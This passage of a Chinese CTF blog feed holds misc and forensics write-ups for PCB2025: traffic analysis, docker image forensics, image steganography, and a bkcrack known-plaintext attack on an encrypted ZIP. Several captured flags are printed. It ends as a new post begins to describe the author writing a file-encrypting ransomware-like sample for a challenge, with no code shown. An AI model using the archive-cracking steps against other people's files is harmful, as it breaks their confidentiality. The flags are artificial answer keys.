Flag 是: flag&#123;&#123;<span class="subst">&#123;flag_hash&#125;</span>&#125;&#125;&quot;</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;[-] 未找到数据，无法计算 Flag&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 最后再弹窗画图（关闭窗口后脚本结束）</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;\n[+] 正在显示图表以供确认...&quot;</span>)</span><br><span class="line">plt.figure(figsize=(<span class="number">12</span>, <span class="number">6</span>))</span><br><span class="line">plt.plot(indices, values, label=<span class="string">f&quot;ID <span class="subst">&#123;<span class="built_in">hex</span>(TARGET_ID)&#125;</span> (Bytes <span class="subst">&#123;BYTE_START&#125;</span>-<span class="subst">&#123;BYTE_END&#125;</span>)&quot;</span>)</span><br><span class="line">plt.title(<span class="string">f&quot;Speed Curve Analysis - ID <span class="subst">&#123;<span class="built_in">hex</span>(TARGET_ID)&#125;</span>&quot;</span>)</span><br><span class="line">plt.xlabel(<span class="string">&quot;Packet Index (Frame Number)&quot;</span>)</span><br><span class="line">plt.ylabel(<span class="string">&quot;Raw Value&quot;</span>)</span><br><span class="line">plt.legend()</span><br><span class="line">plt.grid(<span class="literal">True</span>)</span><br><span class="line">plt.show()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">uv run .\sol.py</span><br><span class="line">[+] 正在读取 The Rogue Beacon.pcapng ...</span><br><span class="line">[+] 正在提取 ID 0x244 的 Byte 3-5 数据...</span><br><span class="line"></span><br><span class="line">Top 5 最大值候选:</span><br><span class="line">Rank    Packet_Index    Value (Dec)     Value (Hex)</span><br><span class="line">--------------------------------------------------</span><br><span class="line"><span class="comment">#1      12149           13796           0x35e4</span></span><br><span class="line"><span class="comment">#2      12125           13777           0x35d1</span></span><br><span class="line"><span class="comment">#3      12179           13777           0x35d1</span></span><br><span class="line"><span class="comment">#4      12100           13759           0x35bf</span></span><br><span class="line"><span class="comment">#5      12201           13759           0x35bf</span></span><br><span class="line">--------------------------------------------------</span><br><span class="line"></span><br><span class="line">[+] 自动锁定最大值数据包: Packet <span class="comment">#12149 (Value: 13796)</span></span><br><span class="line"></span><br><span class="line">[SUCCESS] 你的 Flag 是: flag&#123;9db878fd06dd7587a91c0fb600e0e9f7c3ea310e75f36253ef57ac2d92dd8c29&#125;</span><br><span class="line"></span><br><span class="line">[+] 正在显示图表以供确认...</span><br></pre></td></tr></table></figure><p>得到 <code>flag&#123;9db878fd06dd7587a91c0fb600e0e9f7c3ea310e75f36253ef57ac2d92dd8c29&#125;</code></p><h2 id="Whiteout-Solved"><a href="#Whiteout-Solved" class="headerlink" title="Whiteout | Solved"></a>Whiteout | Solved</h2><p>直接导入 docker</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ docker load -i image.tar</span><br></pre></td></tr></table></figure><p>然后可以看到有一个 decode.py 和一个 syslog.bin</p><p><img src="https://assets.bili33.top/img/CTF-PCB2025-Preliminary-Round-Writeup/1765620094306-121-1765621747345-240.png"></p><ul><li>6ad10b1fede380e2db5571dfe343455d33dd1f07588368ff59ee2a9a826739a9&#x2F;opt&#x2F;app 里面有 decode.py</li><li>d53154d4f2499c5c31fdd61d359d2a9a0b9076ac639b102bb913c752f5769cfb&#x2F;opt&#x2F;.data&#x2F;logs 里面有 syslog.bin</li></ul><p>直接拿出来，一个简单异或</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">KEY = <span class="number">0x37</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;syslog.bin&quot;</span>, <span class="string">&quot;rb&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">    data = f.read()</span><br><span class="line">    </span><br><span class="line">decoded = <span class="built_in">bytes</span>(b ^ KEY <span class="keyword">for</span> b <span class="keyword">in</span> data)</span><br><span class="line"><span class="built_in">print</span>(decoded)</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ uv run .\sol.py</span><br><span class="line">b<span class="string">&#x27;flag&#123;docker_whiteout_forensics_is_fun&#125;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="Blue"><a href="#Blue" class="headerlink" title="Blue"></a>Blue</h2><p>题目名字为 blue，看看蓝色通道，发现可能藏有 zip（50 4b 03 04）</p><p><img src="https://assets.bili33.top/img/CTF-PCB2025-Preliminary-Round-Writeup/1765620094306-122-1765621747345-242.png"></p><p>有点怪怪的，说实话，不是那么集中，看样子是隔位提取</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line">RAW_PATH = <span class="string">&quot;blue/blue/raw.bin&quot;</span></span><br><span class="line">OUT_PATH = <span class="string">&quot;blue/blue/extracted_nibbles_skip1_off0.bin&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">extract_high_nibbles_and_combine</span>(<span class="params">raw: <span class="built_in">bytes</span></span>) -&gt; <span class="built_in">bytes</span>:</span><br><span class="line">    nibbles = [(b &gt;&gt; <span class="number">4</span>) &amp; <span class="number">0xF</span> <span class="keyword">for</span> b <span class="keyword">in</span> raw]</span><br><span class="line">    out = <span class="built_in">bytearray</span>()</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="built_in">len</span>(nibbles) - <span class="number">1</span>, <span class="number">2</span>):</span><br><span class="line">        out.append((nibbles[i] &lt;&lt; <span class="number">4</span>) | nibbles[i+<span class="number">1</span>])</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">bytes</span>(out)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(RAW_PATH, <span class="string">&quot;rb&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        raw_data = f.read()</span><br><span class="line"></span><br><span class="line">    extracted = extract_high_nibbles_and_combine(raw_data)</span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(OUT_PATH, <span class="string">&quot;wb&quot;</span>) <span class="keyword">as</span> out_f:</span><br><span class="line">        out_f.write(extracted)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;Wrote <span class="subst">&#123;OUT_PATH&#125;</span> (<span class="subst">&#123;<span class="built_in">len</span>(extracted)&#125;</span> bytes)&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    main()</span><br></pre></td></tr></table></figure><p>隔位提取出来一个压缩包，带加密</p><p><img src="https://assets.bili33.top/img/CTF-PCB2025-Preliminary-Round-Writeup/1765620094306-123-1765621747345-243.png"></p><p>ZipCrypto Store，怎么又是 bkcrack，用 png 文件头爆一下</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">$ <span class="built_in">echo</span> 89504E470D0A1A0A0000000D49484452 | xxd -r -ps &gt; png_header</span><br><span class="line">$ bkcrack -C extracted_nibbles_skip1_off0.zip -c xor.png -p png_header -o 0</span><br><span class="line">bkcrack 1.8.1 - 2025-10-25</span><br><span class="line">[13:01:17] Z reduction using 9 bytes of known plaintext</span><br><span class="line">100.0 % (9 / 9)</span><br><span class="line">[13:01:17] Attack on 707085 Z values at index 6</span><br><span class="line">Keys: 68cc45ab 864060ce ac958caa</span><br><span class="line">29.2 % (206267 / 707085)</span><br><span class="line">Found a solution. Stopping.</span><br><span class="line">You may resume the attack with the option: --continue-attack 206267</span><br><span class="line">[13:03:45] Keys</span><br><span class="line">68cc45ab 864060ce ac958caa</span><br><span class="line">$ bkcrack -C .\extracted_nibbles_skip1_off0.zip -k 68cc45ab 864060ce ac958caa -U output.zip <span class="string">&quot;Volcania&quot;</span></span><br></pre></td></tr></table></figure><p>图片丢进 010 发现最后的 IEND 块后还有东西</p><p><img src="https://assets.bili33.top/img/CTF-PCB2025-Preliminary-Round-Writeup/1765620094306-124-1765621747345-244.png"></p><p><code>80504e47</code> 开头，应该是个图，弄出来</p><p><img src="https://assets.bili33.top/img/CTF-PCB2025-Preliminary-Round-Writeup/1765620094306-125-1765621747346-245.png"></p><p>不明所以的图，但是题目上一张图片的名字是 xor，应该是要跟什么异或一下，但这张图不是灰度图（即RGB相等），所以丢进 PS 看看，发现只有蓝色通道有东西</p><p><img src="https://assets.bili33.top/img/CTF-PCB2025-Preliminary-Round-Writeup/1765620094306-126-1765621747346-246.png"></p><p>尝试提取蓝色通道的数据，但没啥用；试着用这张图跟 xor.png 进行 xor 也没啥用，不懂</p><p>尝试一下只跟蓝色通道 XOR 看看，让 AI 写个 script，结果还是不对，没招了</p><h2 id="超越感官极致"><a href="#超越感官极致" class="headerlink" title="超越感官极致"></a>超越感官极致</h2><div class="note info flat"><p>来都来了，先致敬沙鹰三枪背身</p></div><p><img src="https://assets.bili33.top/img/CTF-PCB2025-Preliminary-Round-Writeup/1765620094306-127-1765621747346-247.png"></p><p>发现注释，可能有用</p><p>binwalk一下，毕竟文件那么大</p><p><img src="https://assets.bili33.top/img/CTF-PCB2025-Preliminary-Round-Writeup/1765620094306-128-1765621747346-248.png"></p><p>那我还说啥了，提取一下呗</p><p>嗯？不行，那就 foremost 一下</p><p><img src="https://assets.bili33.top/img/CTF-PCB2025-Preliminary-Round-Writeup/1765620094306-129-1765621747346-249.png"></p><p>发现出来一个压缩包，里面还有一张图 <code>？.png</code></p><p><img src="https://assets.bili33.top/img/CTF-PCB2025-Preliminary-Round-Writeup/1765620094307-130-1765621747346-250.png"></p><p><img src="https://assets.bili33.top/img/CTF-PCB2025-Preliminary-Round-Writeup/1765620094307-131-1765621747346-251.png"></p><p>不是？又是杂色图？但是这个大小跟分辨率不符，IDAT 的数据非常多，甚至去到了 482 chunks</p><p><img src="https://assets.bili33.top/img/CTF-PCB2025-Preliminary-Round-Writeup/image-20251213173415554-1765620094319-173-1765621747346-252.png"></p><p>让 AI 写个脚本弄一下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> zlib</span><br><span class="line"><span class="keyword">import</span> struct</span><br><span class="line"></span><br><span class="line">filename = <span class="string">&quot;？.png&quot;</span>  <span class="comment"># 你的文件名</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(filename, <span class="string">&#x27;rb&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">    data = f.read()</span><br><span class="line"></span><br><span class="line"><span class="comment"># 1. 提取所有 IDAT 数据块</span></span><br><span class="line"><span class="comment"># PNG 结构: Length(4) + ChunkType(4) + Data(Length) + CRC(4)</span></span><br><span class="line"><span class="comment"># 我们需要跳过 header，遍历 chunks</span></span><br><span class="line">pos = <span class="number">8</span>  <span class="comment"># Skip PNG signature</span></span><br><span class="line">idat_data = <span class="string">b&#x27;&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> pos &lt; <span class="built_in">len</span>(data):</span><br><span class="line">    length = struct.unpack(<span class="string">&#x27;&gt;I&#x27;</span>, data[pos:pos+<span class="number">4</span>])[<span class="number">0</span>]</span><br><span class="line">    chunk_type = data[pos+<span class="number">4</span>:pos+<span class="number">8</span>]</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> chunk_type == <span class="string">b&#x27;IDAT&#x27;</span>:</span><br><span class="line">        idat_data += data[pos+<span class="number">8</span> : pos+<span class="number">8</span>+length]</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> chunk_type == <span class="string">b&#x27;IEND&#x27;</span>:</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line">        </span><br><span class="line">    pos += <span class="number">12</span> + length</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;IDAT 压缩数据大小: <span class="subst">&#123;<span class="built_in">len</span>(idat_data)&#125;</span> bytes&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 解压数据</span></span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">    decompressed_data = zlib.decompress(idat_data)</span><br><span class="line">    total_len = <span class="built_in">len</span>(decompressed_data)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;解压后真实数据大小: <span class="subst">&#123;total_len&#125;</span> bytes&quot;</span>)</span><br><span class="line"><span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;解压失败: <span class="subst">&#123;e&#125;</span>&quot;</span>)</span><br><span class="line">    exit()</span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. 爆破宽高</span></span><br><span class="line"><span class="comment"># 你的截图显示 offset 0x19 处是 08 02 -&gt; BitDepth=8, ColorType=2 (RGB)</span></span><br><span class="line"><span class="comment"># 所以 BytesPerPixel = 3</span></span><br><span class="line">bytes_per_pixel = <span class="number">3</span> </span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;正在根据数据大小反推宽高...&quot;</span>)</span><br><span class="line">found = <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 假设宽度在 1 到 10000 之间</span></span><br><span class="line"><span class="keyword">for</span> w <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">10000</span>):</span><br><span class="line">    <span class="comment"># 公式: Total = H * (W * 3 + 1)</span></span><br><span class="line">    <span class="comment"># 所以: H = Total / (W * 3 + 1)</span></span><br><span class="line">    </span><br><span class="line">    line_bytes = w * bytes_per_pixel + <span class="number">1</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> total_len % line_bytes == <span class="number">0</span>:</span><br><span class="line">        h = total_len // line_bytes</span><br><span class="line">        <span class="comment"># 过滤掉显然不合理的比例（比如 1x10000000）</span></span><br><span class="line">        <span class="keyword">if</span> h &lt; <span class="number">100000</span> <span class="keyword">and</span> w * h &gt; <span class="number">1000000</span>: <span class="comment"># 假设像素总数应该比较大</span></span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;[!] 可能的宽高: 宽度=<span class="subst">&#123;w&#125;</span>, 高度=<span class="subst">&#123;h&#125;</span>&quot;</span>)</span><br><span class="line">            found = <span class="literal">True</span></span><br><span class="line">            </span><br><span class="line">            <span class="comment"># 自动修复文件头</span></span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;正在尝试修复为 <span class="subst">&#123;w&#125;</span>x<span class="subst">&#123;h&#125;</span> ...&quot;</span>)</span><br><span class="line">            <span class="keyword">with</span> <span class="built_in">open</span>(filename, <span class="string">&#x27;rb&#x27;</span>) <span class="keyword">as</span> f_src:</span><br><span class="line">                content = <span class="built_in">bytearray</span>(f_src.read())</span><br><span class="line">                </span><br><span class="line">                <span class="comment"># 修改 IHDR 中的宽高 (Offset 16-24)</span></span><br><span class="line">                <span class="comment"># 010 Editor 截图显示 IHDR 从 offset 0x0C 开始 (Length)</span></span><br><span class="line">                <span class="comment"># 实际宽高数据在 offset 0x10 (16) 开始</span></span><br><span class="line">                struct.pack_into(<span class="string">&#x27;&gt;I&#x27;</span>, content, <span class="number">16</span>, w)</span><br><span class="line">                struct.pack_into(<span class="string">&#x27;&gt;I&#x27;</span>, content, <span class="number">20</span>, h)</span><br><span class="line">                </span><br><span class="line">                <span class="comment"># 不需要修正 CRC，因为我们要用看图软件打开，</span></span><br><span class="line">                <span class="comment"># 大部分看图软件会忽略 CRC 错误，或者我们稍后手动修。</span></span><br><span class="line">                <span class="comment"># 如果 PS 打不开，就用 Chrome/Edge 浏览器打开修复后的图片。</span></span><br><span class="line">                </span><br><span class="line">                out_name = <span class="string">f&quot;fixed_<span class="subst">&#123;w&#125;</span>_<span class="subst">&#123;h&#125;</span>.png&quot;</span></span><br><span class="line">                <span class="keyword">with</span> <span class="built_in">open</span>(out_name, <span class="string">&#x27;wb&#x27;</span>) <span class="keyword">as</span> f_out:</span><br><span class="line">                    f_out.write(content)</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">f&quot;已保存: <span class="subst">&#123;out_name&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> <span class="keyword">not</span> found:</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;未找到合适的宽高组合，请检查是否是 RGBA (4通道) 或其他格式。&quot;</span>)</span><br></pre></td></tr></table></figure><p>发现三种组合，但是没啥用，看不出东西</p><p><img src="https://assets.bili33.top/img/CTF-PCB2025-Preliminary-Round-Writeup/image-20251213173521994-1765620094319-172-1765621747346-253.png"></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">$ uv run .\preview.py</span><br><span class="line">[+] 正在读取 ？.png ...</span><br><span class="line">[+] 解压成功！数据总大小: 31457280 字节</span><br><span class="line">[+] 找到 3 个可能的组合，准备绘制预览...</span><br><span class="line">    方案 1: 1365x7680 (RGB)</span><br><span class="line">    方案 2: 3413x3072 (RGB)</span><br><span class="line">    方案 3: 5461x1920 (RGB)</span><br></pre></td></tr></table></figure><h2 id="PunkFace"><a href="#PunkFace" class="headerlink" title="PunkFace"></a>PunkFace</h2><div class="note info flat"><p>这题的 word 直接把我电脑卡死了，我还导入了飞书来着，结果飞书在线也卡死了</p></div><p>解压 docx 文档，发现 document.xml 非常大，有很多颜色相关的内容</p><p><img src="https://assets.bili33.top/img/CTF-PCB2025-Preliminary-Round-Writeup/image-20251213173634217-1765620094319-174-1765621747346-254.png"></p><p>队友弄了个脚本来提取颜色</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> itertools</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> PIL <span class="keyword">import</span> Image</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">path = <span class="string">&quot;document.xml&quot;</span></span><br><span class="line"></span><br><span class="line">pixels = []</span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(path, <span class="string">&quot;r&quot;</span>) <span class="keyword">as</span> fp:</span><br><span class="line">    <span class="keyword">for</span> line <span class="keyword">in</span> fp:</span><br><span class="line">        pixels.extend(re.findall(<span class="string">r&#x27;&lt;w:r&gt;&lt;w:rPr&gt;&lt;w:color w:val=&quot;([0-9A-F]+)&quot;\/&gt;&lt;\/w:rPr&gt;&lt;w:t xml:space=&quot;preserve&quot;&gt; &lt;\/w:t&gt;&lt;\/w:r&gt;&#x27;</span>, line))</span><br><span class="line"></span><br><span class="line">width, height = <span class="number">1024</span>, <span class="number">1024</span></span><br><span class="line"><span class="keyword">assert</span> height * width == <span class="built_in">len</span>(pixels)</span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> Image.new(<span class="string">&quot;RGB&quot;</span>, (width, height)) <span class="keyword">as</span> im:</span><br><span class="line">    <span class="keyword">for</span> pixel, (y, x) <span class="keyword">in</span> <span class="built_in">zip</span>(pixels, itertools.product(<span class="built_in">range</span>(height), <span class="built_in">range</span>(width))):</span><br><span class="line">        rgb = <span class="built_in">int</span>(pixel, <span class="number">16</span>)</span><br><span class="line">        color = ((rgb &gt;&gt; <span class="number">16</span>), ((rgb &gt;&gt; <span class="number">8</span>) &amp; <span class="number">0xFF</span>), (rgb &amp; <span class="number">0xFF</span>))</span><br><span class="line">        im.putpixel((x, y), color)</span><br><span class="line">    im.show()</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="https://assets.bili33.top/img/CTF-PCB2025-Preliminary-Round-Writeup/1765620094307-132-1765621747346-255.png"></p><p>怎么还是这种图？？！我对这种图真没招 &#x3D;-&#x3D;</p><p>队友发现了4通道有东西（这谁想得到woc）</p><p><img src="https://assets.bili33.top/img/CTF-PCB2025-Preliminary-Round-Writeup/image-20251213174515406-1765621747339-215.png"></p><p>得到一个图</p><p><img src="https://assets.bili33.top/img/CTF-PCB2025-Preliminary-Round-Writeup/1765620094307-133-1765621747347-256.png"></p><p>改下颜色，得到</p><p><img src="https://assets.bili33.top/img/CTF-PCB2025-Preliminary-Round-Writeup/1765621747339-216.png"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">4e 65 74 77 6f 72 6b 20 73 65 63 75 72 69 74 79 20 69 73 20 61 6e 20 75 6d 62 72 65 6c 6c 61 20 74 65 72 6d 20 74 6f 20 64 65 73 63 72 69 62 65 20 73 65 63 75 72 69 74 79 20 63 6f 6e 74 72 6f 6c 73 2c 20 70 6f 6c 69 63 69 65 73 2c 20 70 72 6f 63 65 73 73 65 73 20 61 6e 64 20 70 72 61 63 74 69 63 65 73 20 61 64 6f 70 74 65 64 20 74 6f 20 70 72 65 76 65 6e 74 2c 20 64 65 74 65 63 74 20 61 6e 64 20 6d 6f 6e 69 74 6f 72 20 75 6e 61 75 74 68 6f 72 69 7a 65 64 20 61 63 63 65 73 73 2c 20 6d 69 73 75 73 65 2c 20 6d 6f 64 69 66 69 63 61 74 69 6f 6e 2c 20 6f 72 20 64 65 6e 69 61 6c 20 6f 66 20 61 20 63 6f 6d 70 75 74 65 72 20 6e 65 74 77 6f 72 6b 20 61 6e 64 20 6e 65 74 77 6f 72 6b 2d 61 63 63 65 73 73 69 62 6c 65 20 72 65 73 6f 75 72 63 65 73 2e 4e 65 74 77 6f 72 6b 20 73 65 63 75 72 69 74 79 20 69 6e 76 6f 6c 76 65 73 20 74 68 65 20 61 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 6f 66 20 61 63 63 65 73 73 20 74 6f 20 64 61 74 61 20 69 6e 20 61 20 6e 65 74 77 6f 72 6b 20 76 65 72 61 63 72 79 70 74 2c 20 77 68 69 63 68 20 69 73 20 63 6f 6e 74 72 6f 6c 6c 65 64 20 62 79 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 61 20 69 73 20 36 3f 2c 20 62 20 69 73 20 3f 37 2c 20 73 20 69 73 20 3f 2c 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 20 55 73 65 72 73 20 63 68 6f 6f 73 65 20 6f 72 20 61 72 65 20 61 73 73 69 67 6e 65 64 </span><br></pre></td></tr></table></figure><blockquote><p>Network security is an umbrella term to describe security controls, policies, processes and practices adopted to prevent, detect and monitor unauthorized access, misuse, modification, or denial of a computer network and network-accessible resources.Network security involves the authorization of access to data in a network veracrypt, which is controlled by the network a is 6?, b is ?7, s is ?, administrator. Users choose or are assigned</p></blockquote><p>不懂 &#x3D;-&#x3D;</p><h2 id="Hidden"><a href="#Hidden" class="headerlink" title="Hidden"></a>Hidden</h2><p>给了一个 Bmp 文件，Slienteye 出不来东西，应该不是隐写，binwalk 和 foremost 出不来有用的东西，跑路</p>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="CTF" scheme="https://bili33.top/categories/CTF/"/>
    
    
    <category term="CTF" scheme="https://bili33.top/tags/CTF/"/>
    
    <category term="PCB2025" scheme="https://bili33.top/tags/PCB2025/"/>
    
    <category term="Misc" scheme="https://bili33.top/tags/Misc/"/>
    
  </entry>
  
  <entry>
    <title>ADCTF 2025 个人出题记录</title>
    <link href="https://bili33.top/posts/Creating-Challenges-for-ADCTF2025/"/>
    <id>https://bili33.top/posts/Creating-Challenges-for-ADCTF2025/</id>
    <published>2025-11-30T17:07:13.000Z</published>
    <updated>2026-03-31T05:59:59.344Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><div class="note info flat"><ul><li>ADCTF2025 所有题目源码及选手 Writeup：<a href="https://github.com/GDUT-ADSec/ADCTF2025">https://github.com/GDUT-ADSec/ADCTF2025</a></li><li>ADCTF2025 所有本人出的题目源码：<a href="https://github.com/GDUTMeow-Challenges/ADCTF2025-Challenges">https://github.com/GDUTMeow-Challenges/ADCTF2025-Challenges</a></li></ul></div><h1 id="Forensic"><a href="#Forensic" class="headerlink" title="Forensic"></a>Forensic</h1><h2 id="Dangerous-Worm"><a href="#Dangerous-Worm" class="headerlink" title="Dangerous Worm"></a>Dangerous Worm</h2><blockquote><p>题目仓库：<a href="https://github.com/GDUTMeow-Challenges/Challenge-Dangerous-Worm">https://github.com/GDUTMeow-Challenges/Challenge-Dangerous-Worm</a></p></blockquote><p>出这道内存取证主要是在羊城杯里面做到了一题<a href="https://2hi5hu.cn/archives/2025ycb">你也是旮旯给木大师？</a>，那个题目是病毒分析+内存取证，给了我启发，于是我也决定出这么一题来玩玩。</p><h3 id="编写病毒"><a href="#编写病毒" class="headerlink" title="编写病毒"></a>编写病毒</h3><p>首先是怎么编写病毒，我的本身就是用 AES-CBC 只加密部分文件，然后再把密钥保存到电脑里头，向量用程序自身的</p><p>于是就简单的写了一个加密用户桌面等文件夹的一个病毒程序（源码在仓库里可以去看），顺带加了个防呆设计（避免我自己运行了病毒）</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">  